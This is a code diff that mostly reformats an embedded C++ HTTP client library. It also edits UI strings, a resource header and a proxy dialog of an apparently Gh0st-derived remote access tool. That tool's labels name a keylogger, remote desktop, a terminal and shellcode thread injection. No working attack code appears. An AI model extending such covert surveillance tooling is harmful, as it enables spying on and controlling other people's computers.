X509_NAME_get_text_by_NID(subject_name, NID_commonName, - name, sizeof(name)); + if (subject_name != nullptr) { + char name[BUFSIZ]; + auto name_len = X509_NAME_get_text_by_NID(subject_name, NID_commonName, + name, sizeof(name)); - if (name_len != -1) { - return check_host_name(name, static_cast(name_len)); + if (name_len != -1) { + return check_host_name(name, static_cast(name_len)); + } } - } - return false; + return false; } inline bool SSLClient::check_host_name(const char *pattern, - size_t pattern_len) const { - if (host_.size() == pattern_len && host_ == pattern) { return true; } - - // Wildcard match - // https://bugs.launchpad.net/ubuntu/+source/firefox-3.0/+bug/376484 - std::vector pattern_components; - detail::split(&pattern[0], &pattern[pattern_len], '.', - [&](const char *b, const char *e) { - pattern_components.emplace_back(b, e); - }); - - if (host_components_.size() != pattern_components.size()) { return false; } - - auto itr = pattern_components.begin(); - for (const auto &h : host_components_) { - auto &p = *itr; - if (p != h && p != "*") { - auto partial_match = (p.size() > 0 && p[p.size() - 1] == '*' && - !p.compare(0, p.size() - 1, h)); - if (!partial_match) { return false; } + size_t pattern_len) const +{ + if (host_.size() == pattern_len && host_ == pattern) { + return true; } - ++itr; - } - return true; + // Wildcard match + // https://bugs.launchpad.net/ubuntu/+source/firefox-3.0/+bug/376484 + std::vector pattern_components; + detail::split(&pattern[0], &pattern[pattern_len], '.', + [&](const char *b, const char *e) { + pattern_components.emplace_back(b, e); + }); + + if (host_components_.size() != pattern_components.size()) { + return false; + } + + auto itr = pattern_components.begin(); + for (const auto &h : host_components_) { + auto &p = *itr; + if (p != h && p != "*") { + auto partial_match = (p.size() > 0 && p[p.size() - 1] == '*' && + !p.compare(0, p.size() - 1, h)); + if (!partial_match) { + return false; + } + } + ++itr; + } + + return true; } #endif @@ -8869,48 +10073,51 @@ inline Client::Client(const std::string &scheme_host_port) inline Client::Client(const std::string &scheme_host_port, const std::string &client_cert_path, - const std::string &client_key_path) { - const static std::regex re( - R"((?:([a-z]+):\/\/)?(?:\[([\d:]+)\]|([^:/?#]+))(?::(\d+))?)"); + const std::string &client_key_path) +{ + const static std::regex re( + R"((?:([a-z]+):\/\/)?(?:\[([\d:]+)\]|([^:/?#]+))(?::(\d+))?)"); - std::smatch m; - if (std::regex_match(scheme_host_port, m, re)) { - auto scheme = m[1].str(); + std::smatch m; + if (std::regex_match(scheme_host_port, m, re)) { + auto scheme = m[1].str(); #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - if (!scheme.empty() && (scheme != "http" && scheme != "https")) { + if (!scheme.empty() && (scheme != "http" && scheme != "https")) { #else - if (!scheme.empty() && scheme != "http") { + if (!scheme.empty() && scheme != "http") { #endif #ifndef CPPHTTPLIB_NO_EXCEPTIONS - std::string msg = "'" + scheme + "' scheme is not supported."; - throw std::invalid_argument(msg); + std::string msg = "'" + scheme + "' scheme is not supported."; + throw std::invalid_argument(msg); #endif - return; - } + return; + } - auto is_ssl = scheme == "https"; + auto is_ssl = scheme == "https"; - auto host = m[2].str(); - if (host.empty()) { host = m[3].str(); } + auto host = m[2].str(); + if (host.empty()) { + host = m[3].str(); + } - auto port_str = m[4].str(); - auto port = !port_str.empty() ? std::stoi(port_str) : (is_ssl ? 443 : 80); + auto port_str = m[4].str(); + auto port = !port_str.empty() ? std::stoi(port_str) : (is_ssl ? 443 : 80); - if (is_ssl) { + if (is_ssl) { #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - cli_ = detail::make_unique(host, port, client_cert_path, - client_key_path); - is_ssl_ = is_ssl; + cli_ = detail::make_unique(host, port, client_cert_path, + client_key_path); + is_ssl_ = is_ssl; #endif + } else { + cli_ = detail::make_unique(host, port, client_cert_path, + client_key_path); + } } else { - cli_ = detail::make_unique(host, port, client_cert_path, - client_key_path); + cli_ = detail::make_unique(scheme_host_port, 80, + client_cert_path, client_key_path); } - } else { - cli_ = detail::make_unique(scheme_host_port, 80, - client_cert_path, client_key_path); - } } inline Client::Client(const std::string &host, int port) @@ -8924,438 +10131,572 @@ inline Client::Client(const std::string &host, int port, inline Client::~Client() = default; -inline bool Client::is_valid() const { - return cli_ != nullptr && cli_->is_valid(); +inline bool Client::is_valid() const +{ + return cli_ != nullptr && cli_->is_valid(); } -inline Result Client::Get(const std::string &path) { return cli_->Get(path); } -inline Result Client::Get(const std::string &path, const Headers &headers) { - return cli_->Get(path, headers); +inline Result Client::Get(const std::string &path) +{ + return cli_->Get(path); } -inline Result Client::Get(const std::string &path, Progress progress) { - return cli_->Get(path, std::move(progress)); +inline Result Client::Get(const std::string &path, const Headers &headers) +{ + return cli_->Get(path, headers); +} +inline Result Client::Get(const std::string &path, Progress progress) +{ + return cli_->Get(path, std::move(progress)); } inline Result Client::Get(const std::string &path, const Headers &headers, - Progress progress) { - return cli_->Get(path, headers, std::move(progress)); + Progress progress) +{ + return cli_->Get(path, headers, std::move(progress)); } inline Result Client::Get(const std::string &path, - ContentReceiver content_receiver) { - return cli_->Get(path, std::move(content_receiver)); + ContentReceiver content_receiver) +{ + return cli_->Get(path, std::move(content_receiver)); } inline Result Client::Get(const std::string &path, const Headers &headers, - ContentReceiver content_receiver) { - return cli_->Get(path, headers, std::move(content_receiver)); + ContentReceiver content_receiver) +{ + return cli_->Get(path, headers, std::move(content_receiver)); } inline Result Client::Get(const std::string &path, - ContentReceiver content_receiver, Progress progress) { - return cli_->Get(path, std::move(content_receiver), std::move(progress)); + ContentReceiver content_receiver, Progress progress) +{ + return cli_->Get(path, std::move(content_receiver), std::move(progress)); } inline Result Client::Get(const std::string &path, const Headers &headers, - ContentReceiver content_receiver, Progress progress) { - return cli_->Get(path, headers, std::move(content_receiver), - std::move(progress)); + ContentReceiver content_receiver, Progress progress) +{ + return cli_->Get(path, headers, std::move(content_receiver), + std::move(progress)); } inline Result Client::Get(const std::string &path, ResponseHandler response_handler, - ContentReceiver content_receiver) { - return cli_->Get(path, std::move(response_handler), - std::move(content_receiver)); + ContentReceiver content_receiver) +{ + return cli_->Get(path, std::move(response_handler), + std::move(content_receiver)); } inline Result Client::Get(const std::string &path, const Headers &headers, ResponseHandler response_handler, - ContentReceiver content_receiver) { - return cli_->Get(path, headers, std::move(response_handler), - std::move(content_receiver)); + ContentReceiver content_receiver) +{ + return cli_->Get(path, headers, std::move(response_handler), + std::move(content_receiver)); } inline Result Client::Get(const std::string &path, ResponseHandler response_handler, - ContentReceiver content_receiver, Progress progress) { - return cli_->Get(path, std::move(response_handler), - std::move(content_receiver), std::move(progress)); + ContentReceiver content_receiver, Progress progress) +{ + return cli_->Get(path, std::move(response_handler), + std::move(content_receiver), std::move(progress)); } inline Result Client::Get(const std::string &path, const Headers &headers, ResponseHandler response_handler, - ContentReceiver content_receiver, Progress progress) { - return cli_->Get(path, headers, std::move(response_handler), - std::move(content_receiver), std::move(progress)); + ContentReceiver content_receiver, Progress progress) +{ + return cli_->Get(path, headers, std::move(response_handler), + std::move(content_receiver), std::move(progress)); } inline Result Client::Get(const std::string &path, const Params ¶ms, - const Headers &headers, Progress progress) { - return cli_->Get(path, params, headers, progress); + const Headers &headers, Progress progress) +{ + return cli_->Get(path, params, headers, progress); } inline Result Client::Get(const std::string &path, const Params ¶ms, const Headers &headers, - ContentReceiver content_receiver, Progress progress) { - return cli_->Get(path, params, headers, content_receiver, progress); + ContentReceiver content_receiver, Progress progress) +{ + return cli_->Get(path, params, headers, content_receiver, progress); } inline Result Client::Get(const std::string &path, const Params ¶ms, const Headers &headers, ResponseHandler response_handler, - ContentReceiver content_receiver, Progress progress) { - return cli_->Get(path, params, headers, response_handler, content_receiver, - progress); + ContentReceiver content_receiver, Progress progress) +{ + return cli_->Get(path, params, headers, response_handler, content_receiver, + progress); } -inline Result Client::Head(const std::string &path) { return cli_->Head(path); } -inline Result Client::Head(const std::string &path, const Headers &headers) { - return cli_->Head(path, headers); +inline Result Client::Head(const std::string &path) +{ + return cli_->Head(path); +} +inline Result Client::Head(const std::string &path, const Headers &headers) +{ + return cli_->Head(path, headers); } -inline Result Client::Post(const std::string &path) { return cli_->Post(path); } -inline Result Client::Post(const std::string &path, const Headers &headers) { - return cli_->Post(path, headers); +inline Result Client::Post(const std::string &path) +{ + return cli_->Post(path); +} +inline Result Client::Post(const std::string &path, const Headers &headers) +{ + return cli_->Post(path, headers); } inline Result Client::Post(const std::string &path, const char *body, size_t content_length, - const std::string &content_type) { - return cli_->Post(path, body, content_length, content_type); + const std::string &content_type) +{ + return cli_->Post(path, body, content_length, content_type); } inline Result Client::Post(const std::string &path, const Headers &headers, const char *body, size_t content_length, - const std::string &content_type) { - return cli_->Post(path, headers, body, content_length, content_type); + const std::string &content_type) +{ + return cli_->Post(path, headers, body, content_length, content_type); } inline Result Client::Post(const std::string &path, const std::string &body, - const std::string &content_type) { - return cli_->Post(path, body, content_type); + const std::string &content_type) +{ + return cli_->Post(path, body, content_type); } inline Result Client::Post(const std::string &path, const Headers &headers, const std::string &body, - const std::string &content_type) { - return cli_->Post(path, headers, body, content_type); + const std::string &content_type) +{ + return cli_->Post(path, headers, body, content_type); } inline Result Client::Post(const std::string &path, size_t content_length, ContentProvider content_provider, - const std::string &content_type) { - return cli_->Post(path, content_length, std::move(content_provider), - content_type); + const std::string &content_type) +{ + return cli_->Post(path, content_length, std::move(content_provider), + content_type); } inline Result Client::Post(const std::string &path, ContentProviderWithoutLength content_provider, - const std::string &content_type) { - return cli_->Post(path, std::move(content_provider), content_type); + const std::string &content_type) +{ + return cli_->Post(path, std::move(content_provider), content_type); } inline Result Client::Post(const std::string &path, const Headers &headers, size_t content_length, ContentProvider content_provider, - const std::string &content_type) { - return cli_->Post(path, headers, content_length, std::move(content_provider), - content_type); + const std::string &content_type) +{ + return cli_->Post(path, headers, content_length, std::move(content_provider), + content_type); } inline Result Client::Post(const std::string &path, const Headers &headers, ContentProviderWithoutLength content_provider, - const std::string &content_type) { - return cli_->Post(path, headers, std::move(content_provider), content_type); + const std::string &content_type) +{ + return cli_->Post(path, headers, std::move(content_provider), content_type); } -inline Result Client::Post(const std::string &path, const Params ¶ms) { - return cli_->Post(path, params); +inline Result Client::Post(const std::string &path, const Params ¶ms) +{ + return cli_->Post(path, params); } inline Result Client::Post(const std::string &path, const Headers &headers, - const Params ¶ms) { - return cli_->Post(path, headers, params); + const Params ¶ms) +{ + return cli_->Post(path, headers, params); } inline Result Client::Post(const std::string &path, - const MultipartFormDataItems &items) { - return cli_->Post(path, items); + const MultipartFormDataItems &items) +{ + return cli_->Post(path, items); } inline Result Client::Post(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items) { - return cli_->Post(path, headers, items); + const MultipartFormDataItems &items) +{ + return cli_->Post(path, headers, items); } inline Result Client::Post(const std::string &path, const Headers &headers, const MultipartFormDataItems &items, - const std::string &boundary) { - return cli_->Post(path, headers, items, boundary); + const std::string &boundary) +{ + return cli_->Post(path, headers, items, boundary); } inline Result Client::Post(const std::string &path, const Headers &headers, const MultipartFormDataItems &items, - const MultipartFormDataProviderItems &provider_items) { - return cli_->Post(path, headers, items, provider_items); + const MultipartFormDataProviderItems &provider_items) +{ + return cli_->Post(path, headers, items, provider_items); +} +inline Result Client::Put(const std::string &path) +{ + return cli_->Put(path); } -inline Result Client::Put(const std::string &path) { return cli_->Put(path); } inline Result Client::Put(const std::string &path, const char *body, size_t content_length, - const std::string &content_type) { - return cli_->Put(path, body, content_length, content_type); + const std::string &content_type) +{ + return cli_->Put(path, body, content_length, content_type); } inline Result Client::Put(const std::string &path, const Headers &headers, const char *body, size_t content_length, - const std::string &content_type) { - return cli_->Put(path, headers, body, content_length, content_type); + const std::string &content_type) +{ + return cli_->Put(path, headers, body, content_length, content_type); } inline Result Client::Put(const std::string &path, const std::string &body, - const std::string &content_type) { - return cli_->Put(path, body, content_type); + const std::string &content_type) +{ + return cli_->Put(path, body, content_type); } inline Result Client::Put(const std::string &path, const Headers &headers, const std::string &body, - const std::string &content_type) { - return cli_->Put(path, headers, body, content_type); + const std::string &content_type) +{ + return cli_->Put(path, headers, body, content_type); } inline Result Client::Put(const std::string &path, size_t content_length, ContentProvider content_provider, - const std::string &content_type) { - return cli_->Put(path, content_length, std::move(content_provider), - content_type); + const std::string &content_type) +{ + return cli_->Put(path, content_length, std::move(content_provider), + content_type); } inline Result Client::Put(const std::string &path, ContentProviderWithoutLength content_provider, - const std::string &content_type) { - return cli_->Put(path, std::move(content_provider), content_type); + const std::string &content_type) +{ + return cli_->Put(path, std::move(content_provider), content_type); } inline Result Client::Put(const std::string &path, const Headers &headers, size_t content_length, ContentProvider content_provider, - const std::string &content_type) { - return cli_->Put(path, headers, content_length, std::move(content_provider), - content_type); + const std::string &content_type) +{ + return cli_->Put(path, headers, content_length, std::move(content_provider), + content_type); } inline Result Client::Put(const std::string &path, const Headers &headers, ContentProviderWithoutLength content_provider, - const std::string &content_type) { - return cli_->Put(path, headers, std::move(content_provider), content_type); + const std::string &content_type) +{ + return cli_->Put(path, headers, std::move(content_provider), content_type); } -inline Result Client::Put(const std::string &path, const Params ¶ms) { - return cli_->Put(path, params); +inline Result Client::Put(const std::string &path, const Params ¶ms) +{ + return cli_->Put(path, params); } inline Result Client::Put(const std::string &path, const Headers &headers, - const Params ¶ms) { - return cli_->Put(path, headers, params); + const Params ¶ms) +{ + return cli_->Put(path, headers, params); } inline Result Client::Put(const std::string &path, - const MultipartFormDataItems &items) { - return cli_->Put(path, items); + const MultipartFormDataItems &items) +{ + return cli_->Put(path, items); } inline Result Client::Put(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items) { - return cli_->Put(path, headers, items); + const MultipartFormDataItems &items) +{ + return cli_->Put(path, headers, items); } inline Result Client::Put(const std::string &path, const Headers &headers, const MultipartFormDataItems &items, - const std::string &boundary) { - return cli_->Put(path, headers, items, boundary); + const std::string &boundary) +{ + return cli_->Put(path, headers, items, boundary); } inline Result Client::Put(const std::string &path, const Headers &headers, const MultipartFormDataItems &items, - const MultipartFormDataProviderItems &provider_items) { - return cli_->Put(path, headers, items, provider_items); + const MultipartFormDataProviderItems &provider_items) +{ + return cli_->Put(path, headers, items, provider_items); } -inline Result Client::Patch(const std::string &path) { - return cli_->Patch(path); +inline Result Client::Patch(const std::string &path) +{ + return cli_->Patch(path); } inline Result Client::Patch(const std::string &path, const char *body, size_t content_length, - const std::string &content_type) { - return cli_->Patch(path, body, content_length, content_type); + const std::string &content_type) +{ + return cli_->Patch(path, body, content_length, content_type); } inline Result Client::Patch(const std::string &path, const Headers &headers, const char *body, size_t content_length, - const std::string &content_type) { - return cli_->Patch(path, headers, body, content_length, content_type); + const std::string &content_type) +{ + return cli_->Patch(path, headers, body, content_length, content_type); } inline Result Client::Patch(const std::string &path, const std::string &body, - const std::string &content_type) { - return cli_->Patch(path, body, content_type); + const std::string &content_type) +{ + return cli_->Patch(path, body, content_type); } inline Result Client::Patch(const std::string &path, const Headers &headers, const std::string &body, - const std::string &content_type) { - return cli_->Patch(path, headers, body, content_type); + const std::string &content_type) +{ + return cli_->Patch(path, headers, body, content_type); } inline Result Client::Patch(const std::string &path, size_t content_length, ContentProvider content_provider, - const std::string &content_type) { - return cli_->Patch(path, content_length, std::move(content_provider), - content_type); + const std::string &content_type) +{ + return cli_->Patch(path, content_length, std::move(content_provider), + content_type); } inline Result Client::Patch(const std::string &path, ContentProviderWithoutLength content_provider, - const std::string &content_type) { - return cli_->Patch(path, std::move(content_provider), content_type); + const std::string &content_type) +{ + return cli_->Patch(path, std::move(content_provider), content_type); } inline Result Client::Patch(const std::string &path, const Headers &headers, size_t content_length, ContentProvider content_provider, - const std::string &content_type) { - return cli_->Patch(path, headers, content_length, std::move(content_provider), - content_type); + const std::string &content_type) +{ + return cli_->Patch(path, headers, content_length, std::move(content_provider), + content_type); } inline Result Client::Patch(const std::string &path, const Headers &headers, ContentProviderWithoutLength content_provider, - const std::string &content_type) { - return cli_->Patch(path, headers, std::move(content_provider), content_type); + const std::string &content_type) +{ + return cli_->Patch(path, headers, std::move(content_provider), content_type); } -inline Result Client::Delete(const std::string &path) { - return cli_->Delete(path); +inline Result Client::Delete(const std::string &path) +{ + return cli_->Delete(path); } -inline Result Client::Delete(const std::string &path, const Headers &headers) { - return cli_->Delete(path, headers); +inline Result Client::Delete(const std::string &path, const Headers &headers) +{ + return cli_->Delete(path, headers); } inline Result Client::Delete(const std::string &path, const char *body, size_t content_length, - const std::string &content_type) { - return cli_->Delete(path, body, content_length, content_type); + const std::string &content_type) +{ + return cli_->Delete(path, body, content_length, content_type); } inline Result Client::Delete(const std::string &path, const Headers &headers, const char *body, size_t content_length, - const std::string &content_type) { - return cli_->Delete(path, headers, body, content_length, content_type); + const std::string &content_type) +{ + return cli_->Delete(path, headers, body, content_length, content_type); } inline Result Client::Delete(const std::string &path, const std::string &body, - const std::string &content_type) { - return cli_->Delete(path, body, content_type); + const std::string &content_type) +{ + return cli_->Delete(path, body, content_type); } inline Result Client::Delete(const std::string &path, const Headers &headers, const std::string &body, - const std::string &content_type) { - return cli_->Delete(path, headers, body, content_type); + const std::string &content_type) +{ + return cli_->Delete(path, headers, body, content_type); } -inline Result Client::Options(const std::string &path) { - return cli_->Options(path); +inline Result Client::Options(const std::string &path) +{ + return cli_->Options(path); } -inline Result Client::Options(const std::string &path, const Headers &headers) { - return cli_->Options(path, headers); +inline Result Client::Options(const std::string &path, const Headers &headers) +{ + return cli_->Options(path, headers); } -inline bool Client::send(Request &req, Response &res, Error &error) { - return cli_->send(req, res, error); +inline bool Client::send(Request &req, Response &res, Error &error) +{ + return cli_->send(req, res, error); } -inline Result Client::send(const Request &req) { return cli_->send(req); } +inline Result Client::send(const Request &req) +{ + return cli_->send(req); +} -inline void Client::stop() { cli_->stop(); } +inline void Client::stop() +{ + cli_->stop(); +} -inline std::string Client::host() const { return cli_->host(); } +inline std::string Client::host() const +{ + return cli_->host(); +} -inline int Client::port() const { return cli_->port(); } +inline int Client::port() const +{ + return cli_->port(); +} -inline size_t Client::is_socket_open() const { return cli_->is_socket_open(); } +inline size_t Client::is_socket_open() const +{ + return cli_->is_socket_open(); +} -inline socket_t Client::socket() const { return cli_->socket(); } +inline socket_t Client::socket() const +{ + return cli_->socket(); +} inline void -Client::set_hostname_addr_map(std::map addr_map) { - cli_->set_hostname_addr_map(std::move(addr_map)); +Client::set_hostname_addr_map(std::map addr_map) +{ + cli_->set_hostname_addr_map(std::move(addr_map)); } -inline void Client::set_default_headers(Headers headers) { - cli_->set_default_headers(std::move(headers)); +inline void Client::set_default_headers(Headers headers) +{ + cli_->set_default_headers(std::move(headers)); } inline void Client::set_header_writer( - std::function const &writer) { - cli_->set_header_writer(writer); + std::function const &writer) +{ + cli_->set_header_writer(writer); } -inline void Client::set_address_family(int family) { - cli_->set_address_family(family); +inline void Client::set_address_family(int family) +{ + cli_->set_address_family(family); } -inline void Client::set_tcp_nodelay(bool on) { cli_->set_tcp_nodelay(on); } - -inline void Client::set_socket_options(SocketOptions socket_options) { - cli_->set_socket_options(std::move(socket_options)); +inline void Client::set_tcp_nodelay(bool on) +{ + cli_->set_tcp_nodelay(on); } -inline void Client::set_connection_timeout(time_t sec, time_t usec) { - cli_->set_connection_timeout(sec, usec); +inline void Client::set_socket_options(SocketOptions socket_options) +{ + cli_->set_socket_options(std::move(socket_options)); } -inline void Client::set_read_timeout(time_t sec, time_t usec) { - cli_->set_read_timeout(sec, usec); +inline void Client::set_connection_timeout(time_t sec, time_t usec) +{ + cli_->set_connection_timeout(sec, usec); } -inline void Client::set_write_timeout(time_t sec, time_t usec) { - cli_->set_write_timeout(sec, usec); +inline void Client::set_read_timeout(time_t sec, time_t usec) +{ + cli_->set_read_timeout(sec, usec); +} + +inline void Client::set_write_timeout(time_t sec, time_t usec) +{ + cli_->set_write_timeout(sec, usec); } inline void Client::set_basic_auth(const std::string &username, - const std::string &password) { - cli_->set_basic_auth(username, password); + const std::string &password) +{ + cli_->set_basic_auth(username, password); } -inline void Client::set_bearer_token_auth(const std::string &token) { - cli_->set_bearer_token_auth(token); +inline void Client::set_bearer_token_auth(const std::string &token) +{ + cli_->set_bearer_token_auth(token); } #ifdef CPPHTTPLIB_OPENSSL_SUPPORT inline void Client::set_digest_auth(const std::string &username, - const std::string &password) { - cli_->set_digest_auth(username, password); + const std::string &password) +{ + cli_->set_digest_auth(username, password); } #endif -inline void Client::set_keep_alive(bool on) { cli_->set_keep_alive(on); } -inline void Client::set_follow_location(bool on) { - cli_->set_follow_location(on); +inline void Client::set_keep_alive(bool on) +{ + cli_->set_keep_alive(on); +} +inline void Client::set_follow_location(bool on) +{ + cli_->set_follow_location(on); } -inline void Client::set_url_encode(bool on) { cli_->set_url_encode(on); } - -inline void Client::set_compress(bool on) { cli_->set_compress(on); } - -inline void Client::set_decompress(bool on) { cli_->set_decompress(on); } - -inline void Client::set_interface(const std::string &intf) { - cli_->set_interface(intf); +inline void Client::set_url_encode(bool on) +{ + cli_->set_url_encode(on); } -inline void Client::set_proxy(const std::string &host, int port) { - cli_->set_proxy(host, port); +inline void Client::set_compress(bool on) +{ + cli_->set_compress(on); +} + +inline void Client::set_decompress(bool on) +{ + cli_->set_decompress(on); +} + +inline void Client::set_interface(const std::string &intf) +{ + cli_->set_interface(intf); +} + +inline void Client::set_proxy(const std::string &host, int port) +{ + cli_->set_proxy(host, port); } inline void Client::set_proxy_basic_auth(const std::string &username, - const std::string &password) { - cli_->set_proxy_basic_auth(username, password); + const std::string &password) +{ + cli_->set_proxy_basic_auth(username, password); } -inline void Client::set_proxy_bearer_token_auth(const std::string &token) { - cli_->set_proxy_bearer_token_auth(token); +inline void Client::set_proxy_bearer_token_auth(const std::string &token) +{ + cli_->set_proxy_bearer_token_auth(token); } #ifdef CPPHTTPLIB_OPENSSL_SUPPORT inline void Client::set_proxy_digest_auth(const std::string &username, - const std::string &password) { - cli_->set_proxy_digest_auth(username, password); + const std::string &password) +{ + cli_->set_proxy_digest_auth(username, password); } #endif #ifdef CPPHTTPLIB_OPENSSL_SUPPORT -inline void Client::enable_server_certificate_verification(bool enabled) { - cli_->enable_server_certificate_verification(enabled); +inline void Client::enable_server_certificate_verification(bool enabled) +{ + cli_->enable_server_certificate_verification(enabled); } #endif -inline void Client::set_logger(Logger logger) { - cli_->set_logger(std::move(logger)); +inline void Client::set_logger(Logger logger) +{ + cli_->set_logger(std::move(logger)); } #ifdef CPPHTTPLIB_OPENSSL_SUPPORT inline void Client::set_ca_cert_path(const std::string &ca_cert_file_path, - const std::string &ca_cert_dir_path) { - cli_->set_ca_cert_path(ca_cert_file_path, ca_cert_dir_path); + const std::string &ca_cert_dir_path) +{ + cli_->set_ca_cert_path(ca_cert_file_path, ca_cert_dir_path); } -inline void Client::set_ca_cert_store(X509_STORE *ca_cert_store) { - if (is_ssl_) { - static_cast(*cli_).set_ca_cert_store(ca_cert_store); - } else { - cli_->set_ca_cert_store(ca_cert_store); - } +inline void Client::set_ca_cert_store(X509_STORE *ca_cert_store) +{ + if (is_ssl_) { + static_cast(*cli_).set_ca_cert_store(ca_cert_store); + } else { + cli_->set_ca_cert_store(ca_cert_store); + } } -inline void Client::load_ca_cert_store(const char *ca_cert, std::size_t size) { - set_ca_cert_store(cli_->create_ca_cert_store(ca_cert, size)); +inline void Client::load_ca_cert_store(const char *ca_cert, std::size_t size) +{ + set_ca_cert_store(cli_->create_ca_cert_store(ca_cert, size)); } -inline long Client::get_openssl_verify_result() const { - if (is_ssl_) { - return static_cast(*cli_).get_openssl_verify_result(); - } - return -1; // NOTE: -1 doesn't match any of X509_V_ERR_??? +inline long Client::get_openssl_verify_result() const +{ + if (is_ssl_) { + return static_cast(*cli_).get_openssl_verify_result(); + } + return -1; // NOTE: -1 doesn't match any of X509_V_ERR_??? } -inline SSL_CTX *Client::ssl_context() const { - if (is_ssl_) { return static_cast(*cli_).ssl_context(); } - return nullptr; +inline SSL_CTX *Client::ssl_context() const +{ + if (is_ssl_) { + return static_cast(*cli_).ssl_context(); + } + return nullptr; } #endif diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini index 8160434..f96fe22 100644 --- a/server/2015Remote/lang/en_US.ini +++ b/server/2015Remote/lang/en_US.ini @@ -915,8 +915,8 @@ NtCreateThreadEx(shellcodeע %s - ̼¼=%s - Keylogger %s - ע=%s - Registry Manager %s - Զ %d%d=%s - Remote Desktop %d%d -%s - Զ %d%d | %.1f MB/s=%s - Remote Desktop %d%d | %.1f MB/s -%s - Զ %d%d | %.0f KB/s=%s - Remote Desktop %d%d | %.1f KB/s +%s - Զ %d%d | %u FPS | %.1f MB/s=%s - Remote Desktop %d%d | %u FPS | %.1f MB/s +%s - Զ %d%d | %u FPS | %.0f KB/s=%s - Remote Desktop %d%d | %u FPS | %.1f KB/s %s - =%s - Proxy Service %s - =%s - Service Manager %s - Զն=%s - Terminal diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini index 15f5866..ec2b3f8 100644 --- a/server/2015Remote/lang/zh_TW.ini +++ b/server/2015Remote/lang/zh_TW.ini @@ -912,8 +912,8 @@ NtCreateThreadEx(shellcodeע %s - ̼¼=%s - IPӛ %s - ע=%s - 䛾݋ʽ %s - Զ %d%d=%s - h %d%d -%s - Զ %d%d | %.1f MB/s=%s - h %d%d | %.1f MB/s -%s - Զ %d%d | %.0f KB/s=%s - h %d%d | %.1f KB/s +%s - Զ %d%d | %u FPS | %.1f MB/s=%s - h %d%d | %u FPS | %.1f MB/s +%s - Զ %d%d | %u FPS | %.0f KB/s=%s - h %d%d | %u FPS | %.1f KB/s %s - =%s - %s - =%s - չ %s - Զն=%s - h˽K˙C diff --git a/server/2015Remote/proxy/ProxyMapDlg.cpp b/server/2015Remote/proxy/ProxyMapDlg.cpp index b21ba1e..3bbf837 100644 --- a/server/2015Remote/proxy/ProxyMapDlg.cpp +++ b/server/2015Remote/proxy/ProxyMapDlg.cpp @@ -52,33 +52,33 @@ BOOL CProxyMapDlg::OnInitDialog() CString str; // 开启IPCP服务器 - srand((unsigned int)time(NULL)); + srand((unsigned int)time(NULL)); - m_nPort = 5543; // 初始尝试端口 - BOOL bSuccess = FALSE; - const int nMaxRetries = 10; + m_nPort = 5543; // 初始尝试端口 + BOOL bSuccess = FALSE; + const int nMaxRetries = 10; - for (int i = 0; i < nMaxRetries; ++i) { - if (m_iocpLocal->Initialize(NotifyProc, this, 100000, m_nPort)) { - bSuccess = TRUE; - break; - } + for (int i = 0; i < nMaxRetries; ++i) { + if (m_iocpLocal->Initialize(NotifyProc, this, 100000, m_nPort)) { + bSuccess = TRUE; + break; + } - // 端口冲突，生成 10000-65535 之间的随机端口 - // 提示：10000 + (0 到 55535) - int nextPort = 10000 + (rand() % 55536); + // 端口冲突，生成 10000-65535 之间的随机端口 + // 提示：10000 + (0 到 55535) + int nextPort = 10000 + (rand() % 55536); - // 避免随机到和刚才一样的端口 - while (nextPort == m_nPort) { - nextPort = 10000 + (rand() % 55536); - } - m_nPort = nextPort; - } + // 避免随机到和刚才一样的端口 + while (nextPort == m_nPort) { + nextPort = 10000 + (rand() % 55536); + } + m_nPort = nextPort; + } - if (!bSuccess) { - MessageBoxL("初始化代理服务器失败!", "提示", MB_ICONINFORMATION); - return FALSE; - } + if (!bSuccess) { + MessageBoxL("初始化代理服务器失败!", "提示", MB_ICONINFORMATION); + return FALSE; + } TCHAR ip[256] = {}; int len = sizeof(ip); diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 2562056..02858c6 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -200,6 +200,8 @@ #define IDD_DIALOG_CLIENTLIST 324 #define IDD_DIALOG7 326 #define IDD_DIALOG_UPDATE 326 +#define IDR_BINARY6 328 +#define IDR_LINUX_GHOST 328 #define IDC_MESSAGE 1000 #define IDC_ONLINE 1001 #define IDC_STATIC_TIPS 1002 @@ -663,10 +665,10 @@ #define ID_EXIT_FULLSCREEN 40001 // Next default values for new objects -// +// #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 328 +#define _APS_NEXT_RESOURCE_VALUE 329 #define _APS_NEXT_COMMAND_VALUE 33017 #define _APS_NEXT_CONTROL_VALUE 2240 #define _APS_NEXT_SYMED_VALUE 105 diff --git a/server/2015Remote/sys/MachineDlg.cpp b/server/2015Remote/sys/MachineDlg.cpp index 95748a4..4bb258c 100644 --- a/server/2015Remote/sys/MachineDlg.cpp +++ b/server/2015Remote/sys/MachineDlg.cpp @@ -1690,7 +1690,7 @@ CString CMachineDlg::oleTime2Str(double time) struct tm tm1; localtime_s(&tm1, &t); str.FormatL(_T("%04d-%02d-%02d %02d:%02d:%02d"), tm1.tm_year + 1900, tm1.tm_mon + 1, - tm1.tm_mday, tm1.tm_hour, tm1.tm_min, tm1.tm_sec); + tm1.tm_mday, tm1.tm_hour, tm1.tm_min, tm1.tm_sec); } return str; } diff --git a/test/IniParser_test.cpp b/test/IniParser_test.cpp index a64af6f..06706eb 100644 --- a/test/IniParser_test.cpp +++ b/test/IniParser_test.cpp @@ -54,10 +54,10 @@ void Test_BasicKeyValue() { printf("[Test 1] Basic key=value parsing\n"); std::string path = WriteTempFile("basic", - "[Strings]\n" - "hello=world\n" - "foo=bar\n" - ); + "[Strings]\n" + "hello=world\n" + "foo=bar\n" + ); CIniParser ini; TEST_ASSERT(ini.LoadFile(path.c_str()), "LoadFile should succeed"); @@ -77,11 +77,11 @@ void Test_KeyTrailingSpace() // 模拟: "请输入主机备注: =Enter host note:" // key 是 "请输入主机备注: "（冒号+空格），不能被 trim std::string path = WriteTempFile("trailing_space", - "[Strings]\n" - "key_no_space=value1\n" - "key_with_space =value2\n" - "key_with_2spaces =value3\n" - ); + "[Strings]\n" + 